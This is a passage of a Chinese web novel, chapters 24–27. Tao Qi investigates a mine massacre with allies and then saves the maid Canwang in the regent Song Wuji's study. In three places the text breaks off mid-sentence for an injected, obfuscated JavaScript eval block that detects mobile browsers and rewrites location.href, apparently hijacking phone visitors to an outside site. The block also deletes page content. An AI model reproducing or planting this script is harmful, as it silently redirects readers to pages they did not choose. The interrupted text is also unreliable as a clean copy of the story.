眼前怎么越来越亮了，似烛火的亮光举到了眼前，太过刺眼，几乎要烧到了眼睛里。姚凄凄被热得想阖眼，然而心中的一股意念却驱使自己，不能躲，不能怕，她的视线需得一直向前，她的骄傲与固执，让她不能先把眼神折下去。 火光从模糊的灯罩子里射出来，那油灯的形状有些奇怪，似乎不是寻常的煤油灯，更不是府里用的纸糊的灯笼，还会发出嘎吱嘎吱的声响。 灯里射出的一点亮光，照出了四周小小的一圈地方，围着淡淡的一圈人影，他们穿的是灰扑扑的短衣，沧桑的脸上黑黢黢的，手里拿着铁锹、凿子、石斧等用具。他们背后竟还站着无数与他们相似的人，人叠着人，向无边无际的黑暗里蔓延。他们粗粝的脸上极度悲伤，似乎在哭诉生活的重担与辛劳，控诉命运的不公、权贵的压迫。他们的嘴张得很大，却发不出一点声音。 姚凄凄不解地看着他们，眼睁睁看着他们齐齐无声地惨叫，他们的皮肤开始干枯龟裂，像是腐朽的老树皮一块又一块脱落下来，他们的双目深深凹陷，四肢的血肉像被人吸食一般枯瘦下去，逐渐腐烂，像是瞬间就经历了千百年的光阴，风一吹衣服就烂成了灰，只留下无边的白骨架，密密麻麻，绵延无尽。 “不要！”她不禁喊出声，伸出手去想要拯救，可就在这时，上千白骨架开始倾斜，轰然往下倒去，地面就在一瞬间塌陷，白骨直直坠落，直到无尽的深渊…… 失重感同时袭来，似乎自己也与那些白骨一齐坠落。桃七猛然惊醒，耳边听到自己喘气的粗重声音。他的腰间环绕着一只有力的手臂，让他双足离地，被举了起来。 桃七猝然间眼前之人一推，从他胸前挣脱了出去。 “你做什么？” “要不是老子提你回来，”陈茂弯腰捡起掉落的采工篝灯，不悦道，“您老就大步一迈，掉下去一命呜呼了。” 24. 夜密谋归京遇惨祸 桃七看着黑森阴冷的洞坑，光射进去只能安静地被吞没。他有些不敢相信，更多的是后怕：“我刚才怎么了？” “我还想问你呢。”陈茂讽刺道，“这种地方，你也敢神游？” “不是的，我从不丢神。”桃七看了眼他手里老旧的灯，“你那灯油是不是变质了？还是加了什么东西？” 桃七似乎话里有话，陈茂不悦道：“我要是想害你，有的是机会，还用把你拐到这里？你想多了，许是那乌烟里有微毒，你从没闻过不习惯，致幻。” 说罢，他仍旧是一副心有余悸的样子：“眼珠子瞪得让我以为你鬼上身了。” 桃七：“真不是你搞的鬼？” 陈茂眼皮淡淡垂下来，凉飕飕地看着他。 五年前闹过鬼，甚至后面还堆过上千人尸体的坑洞深处，发生这种事，一般人都会畏惧，以为魂灵的怨气未散，纠缠活人。可眼下两人根本没把这当回事，他们都清楚，这世上没有鬼，恐怖的是人心里的鬼。 陈茂不搭理他，甩了下灯笼，扭头欲走：“看也看了，身娇肉贵的千金回举辉堂的上等卧房里歇着吧。” “不能……下去吗？”桃七声音发涩，双脚还立在原地。 “不能。”陈茂背着他道。 “为什么？用跟长绳子绑着说不定能下……” “你以为我没试过吗？”陈茂冷道，“我做梦都想把我兄长的遗骨带出来。” 说罢，他提步，走上了来时的阶梯。 桃七便只能跟在他后头，走上了回去的路。是她提出要进矿洞看看，只是看看而已，并没有什么特殊的目的。不过是想见识一下，这座让她家破人亡的矿，到底是个什么样的地方。 看到了，说不定便能消去一部分执念。 台阶是往上走的，故而桃七的位置比陈茂低一点，一边走，心里一边想。若是陈茂把自己引到这里来，站在身后将自己往下一推，咕噜噜跌进那深坑，尸体永不见天日。而来的时候，桃七是走在他身后的，他在下，自己在上，他竟然不怕自己这么做。一个见面不过三次，相识不到一日的人，竟然能信任到这种地步吗？ 还是因为那药丸的胁迫，以为自己不敢害他？ * 回到矿村，已是快到晌午了，江跃亭正在小志家里做客，坐在篱笆根下陪两个孩子玩耍，嘴里塞着萝卜条，听到动静，回头一看，笑着含糊道：“你们回来了。” 桃七看着瘦瘦高高的书生吃东西的模样，心中酸涩，原来自己真是薄待他了。 桃七陈茂和江跃亭都在小志家里吃了饭。小志和爷爷相依为命，家里好不容易来了这么多客人，还杀了一只准备过年吃的没长大的小公鸡。桃七想给他饭钱，人家坚决不要。 小志的父母当年也是被杀后填坑的矿工。陈茂将他们的尸体从矿洞里背出来，所以小志和爷爷都很感激他。在矿村人眼里，陈茂是全村的恩人，还是个武艺超群的能人，不过陈茂平日里性子就是冷厉不好惹的模样，平日里也不住在矿村，所以村民们与他没什么深交。 但是今日陈茂能来他家用饭，小志爷爷是觉得非常有面子的。 吃完了饭，三人回到陈茂家中，关起门来打算谈事。 单身汉的屋子里连两把像样的凳子都没有，桃七随意地坐在他的破炕上，自来熟地招呼江跃亭也坐他旁边。 桃七一夜未眠，竟然没说两句便打起了盹。江跃亭把肩膀借给他，肩酸了，也不动弹。 今早江跃亭去村里养驴马的人家里买了点草料，屋外驴子吃得正欢实。陈茂来到院子里，看了看园子里唯一的李子树，轻轻一跃，从不太高的树顶上，取下挂在上面的竹蜻蜓，应是哪个孩子遗落在上面的，拿在手上看着出神，不知在想些什么。 桃七这一觉，竟然一直睡到了傍晚，他们便打算再逗留一夜，明早再回烨都去。 晚间，炕上的小几边，对着一盏小小的烛台，桃七将此地矿工死难的冤案简要说给江跃亭听。大多都如是告知他了，只是隐瞒了关于自己和姚家的事。 “连这种丧尽天良的事都做得出来，大岐朝廷上上下下没一个好东西！”江跃亭果然义愤填膺，似乎死去的是自己的乡里乡亲一般。 “你愿不愿意与我们一起，找出背后的真相？” “在下当仁不让！”江跃亭激动地起身，“誓要揭发这桩冤案，以告慰死去的亡魂。” “好！就从这案子开始，我们开始一步一步建立属于自己的情报库。”桃七与他双掌交握，踌躇满志。 只有陈茂意兴阑珊地靠在破旧的炕头木柜上看两人，他这人本性就是这般没劲透顶，又有几分玩世不恭，也许只有拿桃七取乐的时候嘴皮子才能油滑起来。 “目下共有三点需要查，”陈茂道，“首先，地底百丈嵌入矿石中的死人骨是怎么回事。第二，五年前皇帝只是个十一岁幼童，而摄政王宋无忌又是主张救人的，那么到底是谁下令杀了矿工，又是为什么要杀光。第三，为何此案牵涉到了毫无关联的吏部姚侍郎头上，宋无忌让姚府抄家灭族……” 陈茂说到这里时，略略停顿了一下，目光不动声色往桃七脸上瞟去，见他脸色宁静，还若无其事地端起几上的茶碗喝了口白水，便续道：“……他与姚鹤到底有什么仇？” “这……该如何着手？”江跃亭面有疑色，他自三岁开蒙时就开始念四书五经，背诵朝廷大员世家大族的关系往来和人情世故，但从未实打实地上手查过案，一下子没了主意。 “查案，一是人证，二是物证据。”桃七拿拇指沾了点碗里的水，在案几面上写了个‘人’，又写了个‘物’。 他续道：“当年促使小皇帝下旨的无非是内阁几个阁臣，他们都不是我们能捉来的人证，可除了他们这些策划者，并非没有其余小角色为他们跑腿办事，这些人说不定能挖一挖。”桃七在‘人’字边上画了一把小小的铁锹铲，惟妙惟肖。 陈茂：“那物证呢？” “据我所知，此案重大，是刑部和大理寺共同审理，首先，我们需要得到当年的案卷，找找蛛丝马迹，至少要看看朝廷对此案是如何定性的。”桃七看向江跃亭，“你可知，五年十个月前，那时的大理寺卿和刑部尚书是谁？” 江跃亭低头，嘴里默念了几句，随即自信地道：“刑部尚书卢康，此人仅仅知天命之年，可三年前便已因病重致仕回乡。又听闻，去岁入秋时节已病逝了。” 陈茂不禁正视了两眼对面的书生：“你怎生知道得如此详细？” “入京前两年，我父母日日揪着我的耳朵背诵这些，我能不熟悉吗？”江跃亭本是自信满满，可一提及被权贵害死的父母，便黯然难受。 “卢康，不就是纸糊三尚书里的头一名吗？”陈茂低语道，三年前他还是个江湖草莽，都听说过纸糊尚书的名号，说明卢康此人的确“纸糊”到了一定份儿上。 “那大理寺卿呢？”桃七问。 “五年前，大理寺卿位空缺，当时是由大理寺少卿鳌堃主理此案，现鳌堃已提拔为正三品的大理寺卿，此人为官清正，且与宋无忌不睦已久，想来，他办理此案时，亦是不赞同宋无忌对姚府的指控。” 提及鳌堃，桃七却是两眼一抹黑了，陈茂默默不语，想来江跃亭所言，与他所知大差不差。 “这两人，一个已经死了，自然问不到，另一人，官居高位，也不是我等能见上面，问上话的……”江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006024|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃亭的意思很简单，知道这些也没用。 “没事，我们不找他们，找物证！”桃七对他痞痞一笑，又用手指沾了点白水，在“物”字上面画了个小小的书卷，又画了一只粗糙的手掌，意思是伸手去探取那卷宗。 桃七道：“我们先想办法，去大理寺和刑部把案卷拿到手。” “那两个地方？”江跃亭咽了口唾沫，“班头打算怎么拿？” “这个，我也在思索。”桃七摸着下巴作思考状。 “大不了我去偷出来。”陈茂道。 桃七：“不，偷出来的卷宗，就算我们查出来了什么，也没人会认的。” “那该怎么办？这也太难了吧！”江跃亭叹息。 “万事开头难嘛，仅凭我们的力量当然不够。”桃七最后一次沾水在案几上涂鸦，这次作的是个青面獠牙，面若夜叉的头脸。画完了，在旁边写了个歪歪扭扭的“宋”字。 “是时候求助求助我那亲爱的东家了。”桃七说完，嘴角浮现出一抹微笑。 * 第二日，桃七二人启程离开矿村，路过的人家里有小孩子的，见到他们，几乎都出来相送。 前日才来时，矿村的村民看他们的眼里还隐隐有防备，仅两天过去，给孩子们随手做了些小玩意儿，便能获得他们依依不舍的送别，烨都的百姓没有这般淳朴的，就连染瓦坊的熟人，与矿村村民比起来，都是一副市侩的嘴脸。桃七答应了下次给他们做些别的竹编小玩意儿，孩子们恋恋不舍地目送他们，牵着两匹老驴，往荒凉的山脊下走去。 又是一日奔波，回到烨都，看到太阳底下鲜明的街市，喧闹的人群，闻到胡同里香甜的烤栗子，桃七竟有一种离家多年而归的感受。他幼年时随父母从故乡迁入烨都，五岁之前的记忆几乎全部遗失了，在他心中，烨都就是他的故乡，即便烨都也是他父母、全族的亡命之地。 “你先暂时留在举辉堂里，我没有回来就别出门，窖子里也别去了。”桃七叮嘱江跃亭，窖子是他们定下的暗语，指代的是地下拍卖场，“最近一段时日里，姓迟的没有找上门来，难保他们没有在暗地里盯着。” “好，班头放心，我会保护好自己的。”江跃亭难掩忧色，“只是，你要去的地方，真的安全吗？” 即便江跃亭听闻了摄政王在矿村的救人之举，对他的印象有所改变，然而当桃七说要去求他办事，江跃亭依旧分外忧心。总感觉班头与摄政王关系匪浅，却又不是单纯的上下属关系。桃七虽唤宋无忌为“东家”，可哪有每月只给手下开半贯工钱的东家。 “这你就放心吧，在烨都里，就没有我桃七搞不定的人。”桃七夸下海口，拍拍袖子，把两条膀子背到身后去，大摇大摆地出发了。 他那副模样，不像是去求援，倒像是去要债的。 这么说也没错，都月初了，桃七自然要从姓宋的扣门王八腰包里把本月拖欠的工钱要出来。 然而，当他来到阔别了半个月的王府，却发现往日将门口守得如铁捅一般的侍卫居然只剩下了三五个，敲了半天侧门，才有小厮来应门，那小厮一见他便道了一声府里出乱子了。 桃七正想问问到底出了什么事。一名衣着乙等侍女服侍的女子急匆匆向他冲来，哀求：“桃公子，幸亏遇上了你，你能不能帮忙向王爷说说情？” 桃七打眼一瞅那焦躁的女子，居然是樊秋合，他柔声问：“樊姐姐，你想让我说什么情？” “是与我住同间一通房的一名小侍婢，小名叫蚕望的，不晓得你见过她没有。”樊秋合说得急，没了从前游刃有余的气质，“她午时做了羹汤，自作聪明送去王爷的书房，被侍卫当场捉住，现下要被打个半死赶出王府了。” 25.救女婢桃七险试毒 桃七随樊秋合沿王府下人专用的小道，火急火燎往□□里奔，来到西暖阁前。东厢房是夏季避暑用的，西暖阁则是冬日居所，也是宋无忌最常用的书房。而王府的中心主殿，也就是上回刺杀案现场，则不住人。 西暖阁由披甲执锐的侍卫围了两层，里里外外，五步一人，屋顶上还有弓箭手。王府大门外的守备大多数都转移到了这里，监守着案发现场。 一路上，桃七从樊秋合那里听得了一个大概，原来是那个十六岁的美貌侍婢蚕望，听闻王爷日日用药膳进补，自己也想进步，便起了不该有的心思，去膳房和厨娘打好关系，精心学习制作了一盅秋梨龟甲汤，趁着西暖阁里无人，自作主张送了进去，还留下了一张字条，说是自己的一片心意。 抱着托盘溜出来的时候，果然被巡逻的侍卫抓住了，以为她是细作或刺客，抓了起来，等候宋无忌下朝后发落。 宋无忌办公的书房，等闲奴婢是不让进的，也从未有过低等侍女主动拍马屁送上门的情况，这是开天辟地头一遭，全府上下立即警戒，几乎所有仆役和侍婢都来到西暖阁前听候发落，闹得阵仗很大。 眼下，西暖阁里，宋无忌坐在紫檀木大书桌后，侧边案几上，摆了一盅半凉了的药膳，医官正在验毒。暖阁中心的地毯上，一个瑟瑟发抖的小女子低头跪坐着。 “贱仆桃七回来了，求见王爷！”屋外传来中气十足的一声，距离有点远，所以他是用喊的，应是守门的侍卫不让他靠近，桃七只能大喊出来让屋里人听见。 “进来。”宋无忌无悲无喜的声音飘了出来。 守卫放行。 樊秋合不敢跟进去，只有将希望寄托在桃七身上。桃七也不是很自信，安慰她道：“我尽力试试，但是能不能让王爷绕了蚕望妹妹，我也说不准。” “多谢桃公子！” “贱籍出身，哪里是什么公子，叫我桃七就好了。”桃七笑了笑，乖张的，痞痞的，却没由来让人安心。 西暖阁的房门打开，他扭头往里钻进去。 樊秋合求桃七去说情，是腆着一张脸，靠着曾见了两面，说过几句话的薄薄交情。桃七一听这种麻烦事，本是不愿意去的，可一想到曾夜半在茅厕戏弄过人家，心里便过意不去。那么一个娇滴滴的妙龄女子要受大刑后被赶出府去，想想实在不忍心，最后他答应了樊秋合。 说来也怪，桃七一进了西暖阁的门，原本挺胸抬头器宇轩昂的一个好小伙，一下子变得缩肩耷脑，两只手规规矩矩交叉耷在前面，头也半低了下去。仿佛那门是什么照妖镜，能让妖魔鬼怪显出原形似的。这便是他进入宋无忌的领地里显露出的鸟样。 规规矩矩地进了门，往右拐，穿过一个拱形的博古架，桃七见男人正襟危坐在书桌后，一身青皂色的玄纹云袖朝服，肩披披金色滚边的蟒袍，头戴紫金狴犴冠，浑身上下笼罩着天地共主的气势。身边是万青和千叶两大侍卫，俱是一脸正经，与桃七先前见过的他们大不一样。 堂中的地毯上，一道瘦小的女子背影，歪坐着，脸上有伤痕，十指被拶了，举在面前哆嗦，一双大眼睛低垂，不断砸落下泪珠，我见犹怜，便是那自作聪明的侍婢蚕望。 屋内还有三人，两个是典狱官，在一旁站桩，背后是一片刑具。还有一名医官员，拿着银针浸在那汤里，案几上还摆放着许多瓶子，药粉，都是验毒的工具。 “王爷，桃七不辱使命，回来给您述职来了。”桃七正要跪下给宋无忌行礼，看到那盅药膳，心中突然有了计较。 “呦！这就是美貌侍婢给王爷熬的汤药？”桃七眼前一亮，走到医官面前，面上露出嫌色，对那医官道：“验得明白吗你就验？走开，瞧我的！” 说是迟那是快，桃七捧起那盅汤药，咕嘟咕嘟往嘴里灌了几口，跟三天没吃饭似的。 西暖阁内，所有人都呆呆地看着他，包括地上的蚕望。哭都忘了哭，想必她也想不到，精心熬制了一夜的药膳，到头来入的是眼前这个混小子的肚皮吧。 “你在干什么？！”万青忙上去，把盅从桃七手里夺回来，“你都喝光了还验什么？” 桃七抬起袖子一抹嘴：“万侍卫，这你都看不明白？用什么验毒也没有活人来验效果好啊。” “就你还验毒？”万青看看那盅碗里还有一大半，把它还给医官接着验。 医官却道：“世间毒药千奇百怪，医籍里共记载了一百一十八种检验方法，都验一遍需要耗费两日，若说有哪一种最快能断定这汤药里有没有毒性，用活人试毒，的确是最佳法子。” 闻言，桃七用一种“你听听”的眼神扫了一眼万青。随后下跪，对书桌前坐着的那人道：“王爷的安危属下誓死守护，为王爷试毒，是桃七的福分！请王爷原谅属下方才的莽撞，属下也是关心则乱啊王爷。”桃七叩首。 宋无忌低眸，无声地看着下跪的青年，一时间，暖阁里只有宋无忌手里的檀珠一下一下敲击的声响，无人敢言语。宋无忌嘴角有微微勾起的弧度，不甚明显，没有人看出来。 良久，桃七还没得到回应，他算是看出来了，这就是宋王八的一贯伎俩——用沉默让手下的人煎熬。 所有人都在等待这宋无忌的反应，终于，男人沉沉的声音从上首处传出：“知道你最会溜须拍马，下回不可如此，起来吧。” 这是，马屁拍得实在了？？ 与此同时，屋内所有人都松了一口气。 宋无忌将手里的檀珠换了只手，问道：“你这次回来，述的哪门子职？” 述职只是桃七的借口，他哪做出了什么成绩好夸耀的。他抓了两下脑袋，一改油腔滑调，老老实实道：“王爷，属下不敢瞒您，属下擅自求见是想求王爷息怒，放了这个婢子，好不好？” 桃七抬头看了宋无忌一眼，与他眼神相撞，瞬息之间就又低了下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012721|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋无忌打量人的眼神，三分凉薄，三分平静，剩下四分就跟盯着一只死物一般的死寂，毫无怜悯的活人气，实在太恐怖了。说不定下一刻，他那薄薄的嘴皮子一动，一颗脑袋就噗通一声掉下来了。 “你要为他求情。”这回没等多久，上头传来了这么一句。 “正是。”桃七应。 “为何？” “前阵子小的受王爷赏识，在府里查案，见过这小婢女一面，说了一会子话，这么个娇妍明媚的女子，当时就上了心记住了。这一回府，听闻她做了蠢事，要受大刑，属下十分不忍，特来向王爷求情。” 听了这话，屋内的人都有些不相信。仅仅见了一面，因为人家美貌就冒险求情，是有多色令智昏？这种理由根本站不住脚。就连蚕望自己也侧过头，愣愣地看着这个作仆役打扮的少年，不明白他为什么敢冲到王爷面前为自己说话。 “你拿什么为她求情？”宋无忌却问。 “这……”桃七被问住了，若是他短短半个月在地下拍卖场真的做出了一番成绩，那他大可以凭借成绩向主子讨个赏，可这不是啥都没干吗？胡诌的话，他一下子也编不出来。 “诶呦，诶呦诶呦！”桃七还没回答，居然捂着肚子，突然叫了起来。身子摇摇晃晃的，要往地上倒去。脸色煞白，又急剧变红，仿佛急性中毒一般。 这下，众人都紧张地看着他，又死死盯着医官面前的汤药，以为里头真有什么奇毒。直到片刻后，桃七不叫了，“咦”了一声，揉了揉肚子，眼神迷离地喟叹，“真是太舒服了！” 千叶急的走上前两步，来到他面前，嫌恶的看着他：“你又怎么了？” 桃七咽了咽唾沫，低眉正色道：“回王爷，是这样的，属下从小就患有胃心痛，这半个月来一直受病痛折磨，其实没出过几次门，王爷给我的差使也没什么进展。那什么，方才进门的时候还痛着哩，只不过不太严重，还能忍得住。可刚才一口汤药喝下去，属下的胃仿佛被人痛殴了一顿似的，胃心痛加剧到前所未有的地步，然而几息过后，就一点儿也不痛了，真乃神迹，不知是何道理？” 桃七说着，望向医官，医官道：“医理有言，物极必反，否极泰来，有些药物的确能把病人的痛楚一下子逼出来，后面也就能好受几分。或许这汤药对小哥而言，正应了此般效果，可是毕竟……” “这么说来，若以后日日用此药膳进补，说不定可以根治小的的胃心痛。”没等医官说完，桃七激动抢话，“王爷，属下觉得这汤药的确是不错的药膳，不是毒药，您看属下喝了一点也没事，这婢女也是一片拳拳心意，不如……” 这一回，没等桃七说完，他就被打断了。 “上回爬床的侍女本王容忍了，这次若还容了下去，那本王的府邸，岂不任谁都能进出自如？” 平静又寒凉的口吻，带着极大的威慑力，让暖阁里的下人统统颤抖了起来。 26.一往情深色令智昏 此话一出，桃七打了个冷战，身上从上到下都痒了起来。 这是在点我呢？ 而跪在地上默默哭泣的蚕望，竟是一顿，如秋水一般的瞳眸子划过一丝嫉恨的戾色。 “药没有毒，不代表她进来没有别的目的。”在一旁执刀站立威风八面的侍卫千叶道。 宋无忌书房里不知藏着多少朝政机密，不管蚕望是真心想送药膳，还是受人指使的细作，都不能简简单单放了她。话说到这份上，桃七已经没抱什么希望了，但他还是硬着头皮说：“这女婢已经上了刑，问出什么了吗？” 千叶道：“那道还没有。带来的刑具不多，能施展出来的手段只是皮毛，等送去昭狱，再细细审问。” 此话一出，那蚕望听了，腿软得不像话，人也差点往下扑倒。 桃七眼疾手快把她扶住，掌心触及女子弱柳扶风，娇弱无骨的身段，见她瓷白娇嫩的皮肤布满伤痕，圆润可爱的脸蛋挂着细密的汗珠，弄花了脸上的胭脂，想必来之前给自己精心上过妆。她居然喜欢上了吃人不吐骨头的宋王八，如此识人不明，但桃七心中却愈发不忍。 桃七把她扶稳了，道：“若是有心人的细作，怎能不知王爷的书房外有侍卫巡逻，岂会这么容易被抓住？” 千叶一琢磨，也觉得细作不会自投罗网：“就算不是，那她随意进入书房重地，王府也不能留她了，上刑之后赶出府去，以儆效尤。” 那蚕望一听“赶出府去”四个字，柔软的娇躯猛地一震，面如金纸，双颊开始扭曲颤抖，竟然比要上刑还惊恐几分，突兀地高声道：“不，不要把我赶出去！” 众人的目光都聚焦在她身上。那蚕望出生低贱，是烨都郊外的养蚕农户之女，却生得灼若芙蕖，灵动婉约，是个人人见了忘俗的样貌，也难怪心比天高，生出了那般心思。众人看向她，怜悯有之，不屑有之，但除了桃七，无人敢给他求情。 “奴婢一心恋慕王爷，今日此举完全是遵从自己的本心，没有任何人指使，如果王爷不要我，还不如把我杀了！”蚕望声声凄厉。“死在王府里，也好过在别处苟活！” 说着竟然是跌跌撞撞地爬起来，向最近的一根红木柱子一头撞去。 桃七和万青离得近，一个抱腿，一个抱胸，把她拦下来，制住她的手，强制她还跪在原地。桃七亦十分不解，着女子为何如此执着于留在王府，难不成真瞎了眼对宋无忌一往情深？ 蚕望闹了一通，气力衰竭，只好跪着不动了。她颤抖着抬眼看了眼坐于紫檀木桌后的男人，瞳色深深，眼底一片冰冷，目光不知落于何处，反正是没有望向自己。 蚕望今日闹成了这样，一介低微出生的女子，说出这种话，做出这种事，将羞怯和尊严抛诸脑后，不知多少人在背后笑话自己。但她死也不会放弃的，蚕望暗暗握起了被刑具夹得肿胀如萝卜的五指。 这厢桃七见她如此决绝，低声叹了口气。心中又有了计较，这次，他反倒不去劝宋无忌，而是起身，慢慢绕着安静下来的小婢女走了一圈。 千叶和万青对视一眼，互相交换了一个——这小子又要作什么妖——的眼神。 桃七问：你今日擅闯西暖阁书房之事，已传得府上人尽皆知，若是继续留在王府里，往后也是受尽冷眼，如此，你还愿意吗？” 蚕望磨着牙：“奴婢……愿意。” “若你只能做最下等奴婢，干最脏最累的活，甚至去涮马桶，倒夜香，冬日里双手泡在冰凉的井水中给我这样的小厮洗衣，愿意吗？” 蚕望握紧了带血的拳头：“愿意。” “若你以后再不能见咱们王爷一面，到了年岁，只能配一个如我这般的末流小厮或是车夫，你还愿意吗？” 这回，蚕望不说愿意了，只恨恨抬头，红通通的大眼瞪向桃七，雾湿视线，委屈的泪珠一颗接着一颗下坠。 桃七对她这个反应十分满意。 他旋身，嘿嘿怪笑了一声，对着宋无忌一拜：“小的今儿个大胆向王爷讨个赏，这婢女打就别打了，就留着伺候小的吧。” 宋无忌不说话，万青道：“疯了吧你！不看看这是哪里，竟还想这些？” 桃七不理会他，反而用一种登徒子看女子的眼神看着身侧：“惩治之法，当能毁去犯错者最珍视的东西。这小贱蹄子不过是仗着有几分模样，就心比天高，想飞上枝头变凤凰。她不怕死，想必也不怕受刑，却独独害怕嫁不了如意郎君。小的便替王爷出口恶气，取了她的处子之身，再折磨得她求死不能，后悔今日所作所为。如此，才能起到警示作用，好叫今后再也没有不长眼的侍婢丫鬟再敢擅闯王府重地。” 话音刚落，西暖阁里几道射向桃七的眼神五花八门。桃七不管旁人，只是注意着上首处的男人。只要宋无忌觉得这法子可行，松了口，他不介意当一回恶人，总之先把蚕望带出去再说。 男子扣檀珠的手不知何时停了下来，从方才开始，他便如帝王一般看着下头这出闹剧，一言不发，桃七心下发怵，他知道必须让宋无忌表态了，死死抿了下唇，抬头，正视宋无忌，预备再多求几句。 “王爷，昭狱吓不住……”这一抬眼，视线一转，正正撞上了一双无波无澜的深眸，桃七的嘴皮子僵住，刹那间安静了。 那目光幽幽，瞧着他多了几分审视，还有一丝丝若有似无的……玩味。 桃七想低下头，最起码垂下大不敬的眼神，可直觉告诉她，若他这么做了，自己会输得一败涂地。这一局不止关乎蚕望的性命，还关系他今后在府里的话语权，若是能逼得宋无忌松口，在这暗流汹涌的摄政王府里，他将有一席之地。此外，还是自己与宋无忌的交锋，他能探出宋无忌会为了他妥协到什么地步，推算出未来自己能动用哪些筹码。 你从前那瞪人好几个时辰的本事呢？使出来啊！桃七在心里鼓劲，一只手死死掐住了大腿侧的肌肉，万万不能露怯！就这么昂着头，与宋无忌对视了十几息。 千叶和万青都看出了不对劲，若有人敢目视摄政王如此之久，怕不是嫌活的太长了。偏偏这个人还是惯会犯贱的狗腿子桃七。难不成真是色令智昏，不惜顶撞王爷也要把那女婢抱回去享用？ 屋外，一排排跪着的都是王府侍婢和小厮，从甲等到最末的丁等，秩序井然地排列，垂着头不敢发出一丝窃窃私语，心中都万分焦虑，怕区区一名乙等侍婢牵连到所有人。樊秋合跪在里头，心中默默祈祷，求菩萨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020224|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保佑蚕望妹妹千万保住性命。 良久后，男人终于有了点反应，眉梢便微微一动，下一刻，一边嘴角竟然肉眼可见地勾了起来。 桃七猛吸一口气，昂着的脑袋立马跟泄了气的猪尿泡一样挂了下去。 要死，阎王冲你笑也不过如此！ 如果再来一次，打死他也不来趟这趟浑水了！ 那哪里是笑啊，分明是当庭捉住了细作的同党，得意着呢，想把人吓死。 惹祸上身，今儿个昭狱里要添两双筷子了。 桃七在心中无声流泪。 “小七说得有道理。”宋无忌平平淡淡道，“往日里的确忽略了你的这方面需求，既然你开口了，就带她去吧。” 桃七：“？” “不！”蚕望惨叫一声，彻底栽了下去，脸往地上拍出“咚”的一声。桃七去看了眼，居然是生生晕倒了。 就这么着，桃七背上背着失去意识的温香软玉，小步快走，出了西暖阁。 “谢谢，谢谢侍卫大哥。”桃七对帮他开门的侍卫道谢，“改日来喝小弟的喜酒啊！都来都来……同喜同喜……哈哈哈哈哈……” 樊秋合见人出来了，激动地飞奔上前，见蚕望晕着，问：“这是怎么了？” “回去再说。”桃七颠了颠背上快划下来的女子，拔腿就往墨室去。 “我们住的通房往这边走。”樊秋合指着反方向道。 桃七十分不好意思地说：“实在是一言难尽，王爷让我们今天就圆房。怕她跑了，命我把她锁在我住的地方。” 樊秋合：？ * 犯错的侍女被带走，屋外跪着的百名仆役挨了一顿训后也散了，西暖阁的守卫也回到了原本的地方。 这一出闹剧，看着是高高举起，轻轻放下。 西暖阁内，宋无忌的座位后面，置了一张五折的细绢绸面插屏，隔出后面一间不大不小的偏室，四壁都垂挂着素色的纱帘。 宋无忌将两大侍卫也支走后。一位老者掀帘而出，步子摇摇摆摆，被一名妙龄女婢扶着，从里头走出来。 若桃七还在这里，定能认出那扶着老者的女婢，正是王府刺杀案当晚，把自己骗去王府主殿里听了一出活春宫的领头侍女。 观那老者，一身灰青色道袍，头发稀疏，脸上几块不规则的老年斑，牙也掉得参差不齐的，细小的竹叶冠顶在脑门上歪歪斜斜的，大半白发都披散下来，遮住了不太聚光老眼，年岁一定有八十以上了。 二人扶着，从西暖阁深处出来，慢吞吞坐在了插屏后的矮几上。 “殷殿下的心，是越来越软了。”老者的嗓音亦是十阅星霜。 宋无忌起身，坐于老者对面。 “就这么放了那侍婢，不是你的性子呐。”老者八头往前去了点儿，背就更驼了，温吞道，“为什么呐……” 宋无忌扣着檀珠：“先生的手也未免伸得过长了。” 老者居然和和蔼蔼地笑开了：“诶呦，殿下四岁就跟着老朽开蒙，再过两个月就二十年了，一日一日看着你长到这么大，还同老朽打什么禅机啊。” “那天，您不该让春袭姑娘引他去主殿。”宋无忌道。 27.杀虫辟祸养蚕抽丝 正为二位主子倒茶的侍女顿了顿，端丽的脸上露出一丝不自然的神色。想必她就是宋无忌口中的“春袭”了。 那老者将茶盏一撂，语调生硬：“我当你是个沉得住气的，实际一点也不经逗，果然是上不了台面的黄毛小儿。” 不停转动的檀珠啪地一下，其中两颗用力相击。 任谁也想不到，堂堂大岐摄政王，边疆浴血三年，投掷人头乱敌军心，敢在太极殿前连斩三名大员，无法无天的大杀神，也会被人调侃上不了台面。 “先生，”摄政王的语调居然有了明显的波动，却也只能坐着，憋着气发表不满，“慎言！” 老者得意地扬眉，捋了下胸前稀疏的几根白须：“人呐，越是欠缺什么，就越要装出那副架势，支棱着摆脸面，何苦来呢。” 